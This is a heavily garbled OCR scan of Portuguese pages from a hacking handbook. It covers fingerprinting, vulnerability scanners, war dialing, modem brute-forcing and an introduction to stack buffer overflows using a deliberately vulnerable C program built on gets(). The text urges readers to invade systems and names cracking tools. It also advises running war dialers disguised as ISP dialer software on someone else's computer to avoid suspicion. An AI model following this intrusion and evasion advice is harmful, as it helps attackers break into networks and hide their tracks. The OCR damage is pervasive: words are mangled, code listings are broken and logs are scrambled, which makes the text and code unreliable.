Ataq ue, defesa e contra-ataque: Busca I
Universidade 30 Ano
Impresso digital na Web
Identificar o sistema operacional que est rodando no n especificado pri-
mordial para explorar as vulnerabiJidades possivelmente presentes. A tcnica
usada na determinao do 50 dos hosts chama-se fmger printing (ou, coleta de
impresso digital).
possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para
as portas de um n. Dependendo da maneir-.t como responde, possvel saber
qual sistema oper-.tcional est rodando naquele host.
O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de am-
bos para saber como us-los e como interpretar os resultados. Para saber mais sobre
como funciona o finger printing, procure por finger printing os detennination ou
por tcp udp fingerprinting em seu mecanismo de buscas favorito.
Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um
livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos,
cuja descri1io pode ser facilmente encontr-.tda na Internet.
~ FTP Bounce: lisa uma caracterstica amiga dos servidores Frp' que a
possibilidade de utilizar um servidor FrP como intermedirio a fim de enviar
um arquivo para uma terceir-.t mquina. Como possvel controlar em qual
porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da
terceir.! mquina (a vtima) at conseguir conexo. Na vtima, estar registr-.tdo
o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding.
Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I.
Todos os sistemas oper-.tcionais possuem alguma implementao de servios
RPC, e pr-.tticamente todos tm alguma que responda incorretamente a uma
conexo, revelando que aceita a conex1io (apesar de no necessariamente ser
vulnervel). Procure por RPC Sean e RPC Exploit.
Procurando brechas
J falamos alguma coisa sobre furos de segur-.tna nos dois captulos sobre
vulner-.tbWdades. O que um scanner de vulner-.tbWdade faz, normalmente, testar
'-'Ida lU11 dos servios oferecidos de acordo com padres preestabelecidos. Caso o
sistema responda tamocm de acordo com padres reconhecidamente pertencen-
tes s verses falhas, o scanner O reporta como b u g d o ~ e, portanto, possivelmen-
te vulnervel. Tooos os fmgerprints (tamo de solicitao quanto de resposta) est:i.o
guardados em bancos de dados cuja atualizao constante e contnua.
Havamos prepar-.tdo, par-.t esta seo, um (exto muito extenso, didtico e facil-
mente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando par.!
aquilo tudo, pensamos: "estanlos negando ao leitor a opornmidade de aprender'.
De falO, se dssemos o peixe, estaramos condenando-o a ser um script kiddie
para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-
1243 I
I Ataque. defesa e cont ra ataque: Busca
I Universidade H4CK3R I
1244 1
tunidade para pensar, raciocinar e ver como as coisas funcionam. Portanto, em
vez de dar o peixe ou ensin-lo a pescar, decidimos apenas mostrdr-Ihe o lago.
As varas de pesca esto l. Ponha a cuca para funcionar, a mo na massa e
aprenda um pouco sozinho!
Os endereos das duas ~ v r s de pesca" mais famosas encontram-se abaixo.
Estude-as completamente, lendo toda a sua documentao e procurando mais
infonnaes na Internet. Se ficar em dvida, pea ajuda! H muitos grupos de
discusso sobre redes com pessoas dispostas a ajudar - voc pode encontrar o
endereo de alguns nos captulos sobre redes. Se voc procurar bem, ver que
pode ler e aprender muita coisa antes mesmo de colocar os dedos no teclado
para escarafunchar nos buracos de algum (sem trocadilho, por favor!).
~ Nessus: www.nessus.org
~ Gherldn: www.altmode.com/gherkin/
Adicionalmente, buscas na Internet vo Ule mostrar diversas ferramentas (li-
vres ou no) de scanners de vulnerabilidade. Voc ver coisas como COPS,SAINT,
NetSaint , SARA, VLAD, NetSonar ... Brinque primeiro com os dois sugeridos.
Depois que se cansar deles, baixe (ou compre, se for o caso) os outros e divirta-
se mais um pouquinho. Hackerismo isso: aprenda fazendo. Pense!
Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo,
necessrio obedecer a algumas regras fundamentais:
~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de pro-
blemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor
de tecnologia normalmente oferece atualizaes gratuitas quando a falha
deles. No deixe passar!
~ Dispare um sean contra voc mesmo. No espere que um hacker descu-
bra que voc usa um llS vulnervel falha de Unicode ou um Sendmail com o
conhecido Sendmail Bug. Ou pior: que seu firewaU um queijo suo. Os scanners
esto ai para ajud-lo. Use-os!
~ Desligue os servios desnecessrios. Se voc montou wn servidor Web, que
serve apenas para isso, por que vai querer um SMTP escutando na porta 25, um
POP na porta 110 e mn X na 6000? Deixe rodando apenas o que efetivamente ser
usado. No s pard deixar menos portas para o hacker usar, como laOlbm porque
voc vai se esquecer dele e no aplicar os patches de segurana pertinentes.
~ Revise seu firewall. Se os seus scans esto passando, seu ftrewaU precisa
de lima reviso. Considere trocar o filtro de pacotes comum por um orientado
a estados e melhore as ACls do proxy no lado de dentro do DMZ. Alis, voc
tem um DMZ, no tem?
~ Instale sistemas de deteco de intrusos, ou lOS. Veremos sistemas lOS
nos apndices no CD-ROM. Mas importante instalar um desses para garantir
que seus logs sero preservados e qualquer invaso seja prontamente rdstreada.
Ataque. defesa e contra-ataque: Busca I
Universidade 3 Ano
Contra-atacar nesses casos, embora possvel (pois um kiddie ruidoso ficaria
nos logs, e mesmo hackers experientes cometem deslizes) , no seria justific-
vel. Neste ponto, apesar de perigosamente no limiar, o hacker ainda no ultrd-
passou a barreira da legalidade. Verifique sempre seus logs e use possveis
scans e ataques como avisos para alUalizar seus sistemas.
1245 1
I Ataque. defesa e contra-ataque: Busca
Ataque, defesa e
co ntra -ataq ue .. : ..
Invaso
"Abordar navios mercantes
invadir, pdhar, tomar o que nosso/. .. /
Preparar a nossa invaso
E fazer just:a com as proprias mos . .. ,
RPM, 'Rdio Pirata"
I. Do IllhllIlJ /1('1 o/ II('t1f'S po,. mlllfo. d,' /95.7
I Universidade H4CK3R I
1248 1
que o cachorro entrou na Anle essa pergunta capiciosa, a maio-
ria das pessoas, depois de um pouco, disparam respostas das mais
estapafrdias e incongruentes que o ser humano pode ser capaz de conceber.
"Poque o padre os anjos o conduziram para a plenitude
espiritual ". "Porque ouviu um chamado de Al parJ. destruir o templo de idola-
tria dos infiis". "Porque "Porque "Porque havia quermesse e ele
sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat,
mano"! Mas a resposta correta a mais simples e lgica de lodas. O cachorro
entrou na igreja porque a porta estava aberta.
A partir deste ponto ultrapassamos os limites. A legislao brasileira no
reconhece o acesso a sistemas que estejam abertos Internet como invaso, da
mesma forma como entrar num shopping center tambm no invaso: as
portas esto abertas para tal.
Pela lei norte-americana, enlretanto, esse tipo de invaso (de sislemas e de
shopping centers) j considerado inVAso de propriedade. Se voc no bem
vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um
shopping center, tambm pode! Houve pelo menos um caso, divulgado pela im-
prensa, de um cidado americano processado por invJ.So de propriedade por
estar na rea pblica de um shopping. Explico: ele estava com uma camiseta
pacifista (a frase exata era "Give peace a chance, de John Lennon) e a segurana
do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como
recusou-se a ambas as coisas, foi preso e processado. Home of the free ..
Cuidado, portanto, quando invadir sistemas geograficamente instalados l ou
pertencentes a empresas daquele pas. Voc ser processado pelas leis de l, e
provvel que seja extradilado. I-lackerismo = Terrorismo = Priso Perplua ...
J deu pra notar, n?
A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo qua-
tro - invaso - pode ser dividido em duas elapas.
A primeira etapa o acesso a um. host da rede. Como vimos nos captulos de
redes, as redes internas das empresas normalmente no utilizam nmeros IP
roteveis pela Internet. Portanto, temos que invadir primeiramente um computa-
dor limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas.
Normalmente o prprio ftrewaU, ou um pro:xy, mas possvel que falhas de
configurAo ou mesmo descuido possam escancarar outros sistemas.
Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre
eles, a pfOCU.lJ. por modems aceitando conexes externas (war dialing) e a explora-
o de falhas especficas atravs de exploilS. Obsetve que nenhwn sislema em espe-
cial visado. Os cr.lckers podem apontar suas miras tanto em servidores como em
de trabalho e mesmo em componenK'S de rack como rotC'J.dores e afins!
Ataque, defesa e contra-ataque: Invaso '
Universidade 3ano
A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede
interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa
etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est
dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas
autnomos disponveis para os usurios internos requer toda aquela metodologia
que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no
esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1.. Sempre corrija e ajuste seu pla-
nos! As coisas mudam, os dados mudam, o administr.tdor muda e voc sempre tem
informaes novas. Se quer sucesso, organize-se!
E, se voci: for tUll lammer, no tem o que fazer por aqui, j que voc no quer saber de
aprender nada. V brincar com os exploits public.tdos e deixe os profissionais trabalharem!
War Dialing + Brute Force
Redes bem configuradas permitem acesso a elas apenas por pontos bem espe-
cficos e controladssimos, normalmente uma nica conexo com a Internet.
Empresas muito grandes possuem vrios Iinks, mas todos eles so (ou deveriam
ser) controlados e monitorados com rigor. Entretanto, alguns funcionrios ~
pertos" tentam driblar a lentido ou os controles de acesso a sites no-autonza-
dos com conexes discadas ou ADSl ligados diretamente a suas estaes. Esses
funcionrios no tm noo do perigo real representado por essa prtica: tais
conexes so tolalmente desprotegidas, e uma vez com acesso a essas conexes,
o hacker j est dentro da rede, e pode queimar diversas etapas de sua invaso.
Em outras ocasies, a prpria empresa precisa proporcionar acesso discado
a seus funcionrios viajantes, ou aos que trabalham em casa. Para tanto, possu-
em uma bateria de modems e dezenas de nmeros de telefone disponveis para
receber chamadas e conexes. Um prato cheio para hackers!
Sim, sim, no ia deixar de comentar que o termo War Dialing foi cunhado no
filme War Games de 1983 em que Matthew Broderick discava para todos os
nmeros que ele conseguia atrs de modems livres. Mas isso provavelmente
voc j sabe. Se no, v at sua locadora e pea o fUme Jogos de Guerra. Se no
um filme excelente, pelo menos as referncias tecnolgicas esto corretas -
dentro, claro, dos limites da preciso hollywoodiana. Mais itormaes po-
dem ser encontradas em orbita.starmedia.com/-necrose/Sci-FilFilmesl
wargames.htm, www.movieprop.com/tvandmovie/reviews/wargames.htm e
j bon Une. terra , o m. br/j b/plpe l/ade m os/i n tem et/2 00 1 1081 1 51
jorinf200 1 081 5003 .html.
Conhea suas armas
War dialing guerra. Se voc um soldado, vai guerT"'.1 e no leva sua espa-
da, est frilO! As ferramentas usadas pelos war dialers so chamadas, normal-
meme de.. war dialers. Uma busca no Google traria diversos sites com essas
1249 I
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
250 I
ferrJmentas, a maioria gratuitas e muitas delas com cdigo fonte:: aberto e livre.
Mas, cm um;l excepcional colher de ch, a vai um Iink com algumas delas:
newo rder. box. sk/box , ph P 3? gfx - oe worde r&p ri = Ilc.:;worde r&ke y
=wardil&txt=Wardialcrs.
Recomendamos epecialmeme, entre eles, o THC Scan <www.thc.org). a fer-
ramenta nO 1 de War Dialiog hoje cm dia. Foi desenvolvida para DOS, mas pode
ser lIsada em Unix com emuladores, como o Dosemu.
Se voc quer dar uma olhada em corno as coisas comcardm, procure por
Demon Dialer e pelo ToneLoc. So ferrdmcntas parecidas com as que os
J)hreakers usavam na poca do filme de Broderick, incluindo o prprio mock-
uI' da cena.
Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o
WARD, cuja descri o est no endereo www.securiteam.com/tools/
6'1'000 J PSOM.html e pode ser baixado e www.OxdeadbecLinfoLcode/ward,c;
ou prolas como o Jericho e o ShockDial , ambos encontrveis em
www.securityfocus.com/tools/category/26.
Il tambm muitos war dialcrs comerciais, destinados a pernlitir quc empresas
testem suas instalaes procura de modems perdido:o.. Uma db mais completas
o Phonc Sweep (www.san<L.ilOrm.net). Almdaexcelnciadosofiware. aempresa
promete consuhoria e suporte Jx>r assinarura (com pagamento mensal).
2OO1-07-20ln25
,
"'"
,"-
:nJl-07-2019:51
,
"'"
,"-
:nJl-07-202Il52
"'"
,"-
2001-07-20 21 40
"'"
,"-
:nJl-07-20 22c2G

""-
8
i;' "
II ..
2I))H171 a l2: 13
:nJl-07182115 CAAAIEA ,"-
e i; .. ",
II ..
2001-0718 23 t2
""'"
""-

.. .,
II ..
e
i;' .... II ..
2001-07190'1 42
""-

, .. '" II ..
e
i;' ... II ..
2001-07-192208
""'"
""-


'"

Ataque, defesa e contra-ataque: Invaso I
Universidade 3
1
ano
Uma lista de equipamentos reconhecidamente vulnerveis e detectveis pelo
Phone Sweep podem ser c,;ncontrados em www .... :md ... rorm.neUproducr ... /
p/lOne.'weep//sysids.shtml.
Outra opo o TeleSweep, da Securelogic. Mais informaes em
telesweepsc,;cure.securelogix.com.
Nossa recomendao: baixe, instale c,; brinque com, pelo menos, as ferrdmen-
tas grdtuitas listadas aqui. Voc vai descobrir que, nesta poca de ADSL e Cable
Modem, ainda existem MUITOS modems discados recebendo chamadas por a ,
especialmente em empresas.
Outra dica: voc pode usar os discadores dos provedores de acesso como
War Dialers improvisados!!! A maioria deles possuem um arquivo externo com
a lista de nmeros de telefone de conexo. Basta substituir essa lista por uma
especialmente criada, e voc ter.l um war dialer instantneo, inclusive com
rediscagem automtica e varredura de todos os nmeros da lista. Baixe os
discadores de todos os provedores que voc se lembrar e verifique. Esta dica
muito til quando se est usando um computador laranja como diSGldor e n:io
se quer levantar suspeitas com programas especializados. Um THC Scan levan-
taria suspeitas no computador do seu tio, mas o discador do iG (ou do Terra,
do iBest, do UOL ou da AOL.. .) passaria despercebido, ainda mais se o seu tio
for assinante de um desses provedores.
Ah. a forca bruta to linda ...
Certo, voc descobriu nmeros de telefone que possuem modems atendendo
a chamados externos. Mas e agora, o qu fazer com eles? Entra agora em cena
outro tipo de war dialcr que, ao invs de varrer nmeros atrs de modems, faz
inmeras tentativas de login em um mesmo nmero.
Se em outros tipos de controle de acesso por login e senha possvel encon-
trar outros meios de entrada alm do brute-force, com modems a coisa dife-
rente. Voc no tem qualquer outra informao alm do prompt do sistema
pedindo um usurio vlido. Sua nica sada usar um programa de fora bruta
pard tentar entrdr. Logicamente, usar suas listas de palavras (que vimos nos
captulos sobre vulnerabilidades) e saber o nome de algum usurio ajuda mui-
to aquLAteno lammers! Usar SQL injection em modems a demonstrdo de
burrice mais enfadonha que voc poderia cometer. No que faa algum mal ,
mas mostra claramente que voc no entende nada de nada, mesmo .. v brin-
car de carrinho ou de boneca!
Se voc usou o THC Scan, um bom companheiro para ele o THC Login
Hacker. Baixe-o e veja como fcil entrar, quando se encontra um modem
"compreensivo
n
No site oficial h diversos programas, exploits e brute-forcers
para muitos protocolos, incluindo 5MB, HTTp, FTP e proxy. Verifique em
www.thc.orglreleases.ohp.
A propsito, THC acrnimo para The Hackers Choice ... Apesar da arrogn-
1251 I
I At aque. defesa e cont ra-ataque: Invaso
I Universidade H4CK3R I
1252 I
cia e presuno do ttulo auto-outorgado, as ferramentas so realmente muito
boas. No site ainda encontmmos diversos whitepapers sobre invaso e segu-
rana dignos de leitum.
Entendendo o estouro de piLha
(buffer overflow)
Vrios exploits valem-se dos chamados buffer overflows pam conseguir um
shell nos sistemas vulnerveis a eles. Os script kiddies aplicam pesadamente
tais exploits em suas presas sem saber exatamente o que so e como funcio-
nam. Como queremos ter mais do que noes, na verdade, um entendimento
completo de como essas ferramentas opemm, teremos q ue escovar um pouco
mais de bits, dessa vez olhando atentamente o cdigo dos aplicativos. No
preciso dizer que ser necessrio desenferrujar seus conhecimentos de lingua-
gens de progmmao, mas nada de outro planeta.
Como o nome estouro de pilha, obviamente h uma pilha a ser estourada
(d!). Para entender como o estouro funciona, devemos, primeiramente,
conceituar o que seria essa tal de pilha.
Um amontoado de coisas ...
A palavra portuguesa pilha nos tmz cabea duas imagens:
1. Uma pilha de pedms, de pmtos, de moedas, de corpos no ftlme do Stallone ..
2. Uma clula de energia e1trica usada em lanternas portteis e brinquedos.
Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas
que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel
po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a
outm. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuida-
dosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda,
depois a terceim ... Observe um detalhe: a primeim moeda a ser retimda foi a
ultima a ser colocada.
No exemplo da pilha de pedms, Fred Flintstone usando seu tratorossauro
recolhe pedras retimdas da encosta e as empilha no local indicado pelo Sr.
Pedregulho Slate, seu chefe. Note que, nesse caso, as pedms que Fred pega
primeiro so as que vo ficar por baixo da pilha. Mas talvez o meUlOr exemplo
Ce mais til) seja mesmo o da pilha de pmtos. Podemos inclusive usar um exem-
plo de pilhas recursivas. Quando os pmtos esto sujos na mesa e a loua do dia
sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe:
o ltimo pmto que voc pegou fica no topo da pillla. Quando chega cozinha,
faz o caminho inverso. Como no d pm colocar a pilha toda de uma vez, voc
pega prato por prdto e os empilha novamente, desta vez na pia. medida que
os vai lavando, voc os empilha pela terceira vez (agom j limpos) do outro
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-los no
armano ... , acho que voc j entendeu.
E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por
curiosidade, o nome dado a esse elemento gerador de energia porque as
primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais dife-
rentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e
mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver..
As pilhas no remo digital
E o que tm os computadores com isso? Pegando emprestado a noo de
pilhas, os programas em geral (e os sistemas operacionais em particular) po-
dem pegar f .Igmentos de dados e os guardar em reas de memria chamadas
pilhas ou stacks. uma maneira fcil de armazenar pequenos dados , pois num
acessso convencional de memria o programa obrigado a:
1. Definir a posio de memria onde o dado ser guardado;
2. Definir o tamanho em bytes que o dado ter;
3. Reservar esse lamanllO em bytes na posio definida;
4. Mandar o dado pard essa posio;
5. Bloquear a posio para que no seja sobreescrita.
Para recuperar o dado, o programa ter que:
1. lembrar a posio de memria onde o dado est;
2. Apontar para aquela posio;
3. Lembrar o tamanho dos dados em bytes;
4. Puxar esses bytes daquela posio de memria;
5. Uberar a posio para uso futuro.
No caso da pilha, no h necessidade de nada disso. O programa pode sim-
plesmente:
1. Mandar dados para a pilha (push).
Na hora de recuper-los, basta:
1. Puxar dados da pilha (pop).
claro, como um acesso seqencial e no aleatrio, caso queiramos usar o
segundo dado da pilha antes teremos que retir.u o primeiro dado. Isso tr.lz
dificuldades adicionais para o programa, que tem que um jeilO" de gerenciar
os dados da pilha corretamente. Mas h aplicaes onde essa abordagem a
melhor. Por exemplo, imagine que quei .Imos fazer um programinha que faa
uma soma de trs valores. A forma mais simples desse programa seria:
1. Chama funo soma(a,b);
I 253 I
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
1254 I
2. Obtm primeiro nmero e o entrega funo soma;
3. Obtm o segundo nmero e o entrega funo soma;
4. Coloca o resultado na pilha;
S. Chama funo soma(a,b);
6. Obtm terceiro nmero e o entrega funo soma;
7. "Puxa" o topo da pilha e entrega funo soma;
8. Soma(a,b) faz a operao e joga o resultado na sada.
Observe que o resultado da primeird soma ficou anllazenado na pilha,
raodo ser chamado de volta ao fluxo normal do programa. Uma soluo como
essa envolvendo posies de memria demandaria funes para reservar me-
mria para trs variveis, envio e recuperao triplicada de dados e possivel-
mente uma funo soma mais complexa.
Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno pro-
grdma em C. Deve rodar de forma idntica em qualquer plataforma, pois no
usa bibliotecas especficas.
void funcao_idiota (void)
main()
char- xuxu [5 J ;
get.s (xuxu) ;
pr- i ntf(M%s\n
M
, xuxu ) ;
funcao_ idiot.a() ;
return O;
No se preocupe, voc no precisar ter visto um programa C alguma vez na
vida para entender este aqui. Veja s: qualquer linguagem estruturada que se
preze pennite que voc crie, com os comandos bsicos que ela possui, funes
mais complexas para serem usadas pelo programa principal. Em nosso exem-
plo (e em qualquer cdigo C), o programa principal pela funo
main(). Dentro das chaves { e } temos o programa complelO, composto por
duas outras funes:
main ()
f uncao_idiota () ;
retuJ:n O;
Ataque, defesa e contra-ataque: Invaso I
Jnlversidade )< ano
funcao_idiota( ) chama uma funo criada por ns mesmos, e t.kclamda no
incio do programa. J a prxima linha, retUnl 0, indica que o progr.una deve
encermr nessa linha e retomar pam o shell que a chamou.
Temos que ded,-zr.lr fUllc.!o_idiota( ) ;mtes de/.1 poder ser U$IcJ;,. Enl:lO, v:mlOS a d:l!
voiel funcao_idiota (void)
char xuxu(
g e ts (xuxu, ;
pr .ntf("'s' 1", xuxu ) ;
A funo , a grosso modo, uma sulrrotina que pode ser usada vrias vezes
demro do programa. Em nosso main( ) a usamos apenas uma VCL, mas seria
possvel, se quisssemos, us-Ia em diversos locais do cdigo. O quI.' essa idioti-
ce faz : I) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2)
usar a funo gets( ) da linguagem C pam pegar caracte res do teclado e jog-
los na varivd xuxu; 3) usar a funo prin( ) pard jogar o resuhado na tela.
Se voc est em uma maquina Unix, pode compilar o programinha e test-lo.
Na maioria dos sitemas, U!>C o comando:
idiota ldi'lta .
Sendo idiota.c o arquivo texto contendo o cdigo do progrdm .. e idiota o
.. rquivo executvel gerado pelo compilador cc. No Linux e no FrecBSD use o
gcc em vez do cc.
r::lra rodar o progrdma, digite:
S idiot a
Aparentemente, nada acontece r. Tente digitar um caractere qualquer e pres-
sionar a tecla <Emer>. O caracter ser replic .. do na tel:l. s isso o que o
programinha faz.
Em uma mquina DOS ou Windows, o procedimento parecido. Procure por
algum compilador de linha de comando. Se no souber onde procurar. comece
com alguns destes. Experimente TODOS e escolha seu prderido!
Para DOS podemos indicar:
~ J G P I ~ o GCC do DOS: www.delorie.com/djgpp:
~ O veneri'lveJ Borland l\lrbo C 2.0 I (Autorizado! No pirataria!):
cQmOllllJiry.borland.cQm/musum ;
~ Pacific C: www.e\rincondclc.com/compilajpaific.htoll ;
P::lrJ Windows, existem, entre muitas, as seguintes opes:
~ LCC Win32: www.cs.virginia.edu/-\cc-win32/index.ht01l ;
~ DcvCPP: www.bloodshed.netldevcpp.html(a escolha dos autores!);
Ali s, em www.bloodshed.oet existem Iinks para compiladores de diversas
linguagens! Confira!
I 255 I
I At aque. delesa e contra-ataque: Invaso
I Universidade H4CK3R I
1256 1
Voltemos ao nosso programa. Quando o main( ) chama funcao_idiota( ), o
processamento do programa principal interrompido e desviado para a fim-
o. Quando a fimo termina seu processamento, relOrna rotina principal.
Observe o cdigo novamente, desta vez com o fluxo de process;unento indica-
do por setas:
void funcao_ idiota (void)
char xuxu[5J;
gets (xuxu);
printf(N%s\n
N
, xuxu ); Desvio
Retorna ao r--------return;
programa
do
processamt:nto
principal
main ( ) ... 00---- Inicio aqui
funcao_idiota (); ----'
- - - - - - t ~ return o; -------- Fim!
TOpO da Memria
Bonito, no? Em princpio, fim-
ciona. Mas, para interromper o
processamento de main( ),
neceesriO colocar tudo o que
main( ) esteja fazendo cm algum
lugar, desviar o processamento
para funcao_idiota( ) , processar
o que estiver l e depois relOrar
a main( ).A1m de devolver os pos-
sveis valores da funo chama-
da (o que no nosso caso - para
simplificar no passamos argu-
mentos entre as funes), tam-
bm precisamos ter um meio de
saber ONDE na memria estava
o processamento de main() para
que retomemos o processo.
Dados anteriores da pilha
Dados de main
()
Ponteiro de Retorno
Ponteiro da pilha
Dados da funo idiota () (ou
seja, a varivel xuxu)
Complicado? Tambm achei.
Uma ilustrao ajuda bastante!
~ Sentido de Empilhamento
t
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ana
Nooofaaaa (Com F mesmo. lingua presa .. . ) ! Mas no era uma pilha? Porque
est de cabea para baixo? Bem, nonnalmente as pilhas so annazenadas de
cima pam baixo, sendo o dado mais amigo na posio mais alta de memria e
a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha
de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola
par.! prender as moedas, mas ainda assim uma pilha.
Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no
precisa estar necessariamente vazia, podendo conter, por exemplo, dados do
sheU ou da janela onde o programa foi chamado. Depois do main( ) , tambm
guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno
Oll return address poimer. ele que indica ao processamento onde encontrar a
prxima instruo depois do desvio (onde que eu estava mesmo?) . Em nosso
caso especfico, o return poimer guarda o endereo de memria onde reside a
instruo return O.
Depois do ponteiro de retomo, o sistema coloca um ponteiro de pilha, que
aponta para uma tabela com dados de controle sobre a prpria pilha - que
obviamente o leitor compreende ser necessria. Por ltimo, v;io os dados tem-
porrios de nossa funo secundria, chamada por main(). Em nosso caso, a
varivel xuxu, criada pela nossa funo funcao_idiota( ).
Quando a funo secundria temlina seu processamento, os dados dela so
retir.tdos da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do
endereo de retomo. Quando o processamento retomado na posio original,
os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?
Debug is on lhe lable'
Lembremos de dois detalhes vistos nos pargr.tfos anteriores. O segundo
tenho certeza que foi assimilado pelo leitor apenas como curiosidade, o pri-
meiro deve ter passado despercebido:
I. A varivel XUX11 foi declarada como contendo apenas cinco bytes;
2. A pilha armazena dados de baixo para cima.
L'i atrs ns testamos nosso programinha assim:
$ . / idiota
a
a
$
Quando o processamento chegou na funo gets(), digitamos a ktr.t
funo gets( ) colocou dentro da varivel xuxu, que foi impressa na linha
seguinte pelo printf( ). Lembre-se de que xuxu tem um tamanho de apenas
cinco bytes. O que acontece se passarmos de cinco?
2. Aul.1 de illgls geek? ESIl<l frase "-,,,Im(:n": foi dita. durante uma CO/H'usa enl re eu e o (Ji"-'tor
infomJr;a de um" cmprrsa de :l viaJo. Um estagirio ouviu a p"/"V,d dcbul{ no meio d'l COllVel"S3 e S3iu
.,c com esta. At hoje eu e esse direwr de infOrm:ilica express.io como pi.1<1.1 local.
1257 1
I Ataque. defesa e contra- ataque: Invaso
I Universidade H4CK3R I
258 I
Bem, tentamos com cinco letras "'N, a sada foi AAAAA. Com seis, AAAAAA.
Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$ . /idiota
AAAAAAAA
AAAAAAAA
Falha de segmentao (core dumpedl
$
Falha de segmentao! O programa falhou e gerou um relatrio de erros
com o contedo d:l memria, gravado no arquivo core. O que ser que aconte-
ceu? Lembremos agora da pilha. O espao p:lra nossa varivel xuxu (que pode-
mos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char
xuxa[5]). Cada carActer ocupa 1 byte, portanto 5 c:lr.tcteres enche o buffer.
Mas O sistema no possui nenhum mecanismo de checagem, ou melhor, a lin-
guagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer,
haver estouro. Os dados a mais sero escritos por cima de alguma outrA coisa
(nonnalmente algo muito imporrante ... ).
AgorA, O segundo detalhe. A pilha armazena de baixo para cima. Portanto, se
voc olhar a represent:lo grfica que fizemos dela, vai notar que o sexto
caracter vai ser escrito sobre o Ponteiro da Pilha!
O ponteiro de piJha possui vrios bytes ( de tamanho varivel) e o de retorno,
4 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece -
estamos sobrescrevendo o ponteiro da pilha, em alguma regio que no nos
afeta imediatamente. A partir do oitavo caractere temos um problema imediato:
estamos sobrescrevendo alguma rea importante do ponteiro de pilha.
Se avanarmos mais um pouco, l pelo dcimo-quarto ou dcimo-quinto
caracter certamente chegaremos ao pomeiro de retorno!!!!! Agora o primeiro
byte do endereo de relomo no serol mais o endereo original , ser o valor
hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph I!) o valor
hexadecimal ser 4th. Vamos depurAr nosso programa usando o gdb, um
depurador GNU - parA DOS, procure uma ferramenta adequada (como o debug)
ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar
nosso programa e gerAr um core dump com muitos "'A"s:
$ . I idiota
Falha de segmentao (core dumpedl
$
Agora, vamos rodar o gdb e ver o que ele nos diz:
$ gdb idiota core
GNU gdb 5 . 1
3. Explic:l.'io lctlic:l :lv:ln:ld,, ; os ponteiros tm quatro de: comprimellto. ou 32 bits. O que
t."quj'<lk 1/ um '<l/ar de(.'imal entl'C O e 4.294.967.295. ou sei". 4 GB.
Ataque, defesa e contra-ataque: Invaso I
Universidade 3ano
Copyright 2001 Free Software Foundation , Inc .
GOB is free software , covered by the GNU
(corta)
(no debugging symbo1s found) ...
Core was generated by '. /idiota' .
program terminated with signa1 11, Segmentation fau1t .
Reading symbo1s from /lib/1ibc . so . 6 ..
(no debugging symbo1s found) .. . done .
Loaded symbo1s for /lib/1ibc . so . 6
Reading symbo1s from /lib/1d- 1inux. so . 2 ... done .
Loaded symbo1s for /lib/1d-1inux. so . 2
110 Ox41414141 in ?? ()
(gdb)
$
A linha importante, por enquanto, 110 Ox41414141 in ?? () . Ela indica o
endereo de recomo. Observe que, em vez do endereo correto, temos nosso
caracter A (4Ih) repetido vrias vezes. Bela maneira de fazer o programa abor-
tar! Nosso programinha tennina por ali mesmo, mas faamos um teste: entre
as linhas funcao_idiota( ) e retum O; coloque a seguinte linha printf( ):
{
funcao_idiota();
printf(WNao atingiu Ponteiro de Retorno!\n\n
W
);
return O;
Agora compile e rode o programa. Voc ver que, at II caracteres, a mensa-
gem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensa-
gem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do
programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.
Ganhando acesso
por estouro de pilha
